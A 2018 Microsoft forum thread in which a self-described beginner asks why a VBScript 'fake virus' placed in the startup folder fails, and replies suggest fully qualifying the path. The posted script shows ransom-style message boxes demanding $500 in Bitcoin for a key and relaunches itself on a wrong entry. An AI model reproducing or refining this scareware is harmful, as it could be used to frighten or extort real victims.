How can I have my VBScript to run at startup?

Anonymous
2018-06-12T21:27:07+00:00

I created a VBScript that appears as a fake virus, and I would like to run it at startup. I've put the script into the startup folder.

When I boot up, the script shows. After pressing 'OK' to the message boxes I've created, it gives me an error.

It displays the following information.

Script: C:\Users\derpression\Desktop\Virus.vbs

Line: 5

Char: 1

Error: The system cannot find the file specified.

Code: 80070002

Source: (null)

Here is the script.

Here is the script you can copy.

msgbox("You've been infected! To disable your virus, please send $500 worth of Bitcoin to BLOCKED to receive your access key. Click 'OK' to continue.")

pass=inputbox("Please enter your 10-digit key to disable the virus. Send $500 worth of Bitcoin to BLOCKED, then send an email to BLOCKED with your email and proof. Your key will get sent to you.")

if pass="0x9dk2sm87" then msgbox("Correct key! Virus has been disabled. Let BLOCKED know to delete the virus.") else Set Shell=CreateObject("wscript.shell")

Shell.Run("Virus.vbs")

Let me know if I probably did something wrong in the script. I'm new to this VBScript thing, so I don't know what to do.

I've done multiple methods but they never worked.

Running VBScript at Startup: https://www.howtogeek.com/138159/how-to-enable-programs-and-custom-scripts-to-run-at-boot/

Disabling All Third-Party Apps: http://bit.ly/WinScriptHostError80070002 (link was too long)

I also visited some old forum posts. Unfortunately, they didn't work as well. I doubted they even worked, they were from 2006 or 2013!

I'm using a virtual machine running Windows 7 currently to run the script, later testing it on a Windows 10 device. I don't know if it is because of the version of Windows I'm using. Let me know and I'll try to run it on a Windows 10 VM.

Windows for home | Windows 10 | Files, folders, and storage

Locked Question. This question was migrated from the Microsoft Support Community. You can vote on whether it's helpful, but you can't add comments or replies or follow the question.

0 comments No comments
{count} votes

5 answers

Sort by: Most helpful
  1. Anonymous
    2018-06-12T22:26:55+00:00

    Your "Run" method invokes the script "virus.vbs" without telling it exactly where "virus.vbs" is to be found. You must fully qualify its path!

    1 person found this answer helpful.
    0 comments No comments
  2. Anonymous
    2018-06-12T22:50:07+00:00

    Your "Run" method invokes the script "virus.vbs" without telling it exactly where "virus.vbs" is to be found. You must fully qualify its path!

    Is this correct?

    0 comments No comments
  3. Anonymous
    2018-06-13T01:17:20+00:00

    It doesn't work. The same error appears.

    0 comments No comments
  4. Anonymous
    2018-06-13T01:52:07+00:00

    Suggest you repost your question to the more appropriate forum at TechNet Forum, you will receive a better response, link below;

    https://social.technet.microsoft.com/Forums/en-us/home

    0 comments No comments
  5. Anonymous
    2018-06-13T05:24:52+00:00

    It doesn't work. The same error appears.

    Please post your current script.

    0 comments No comments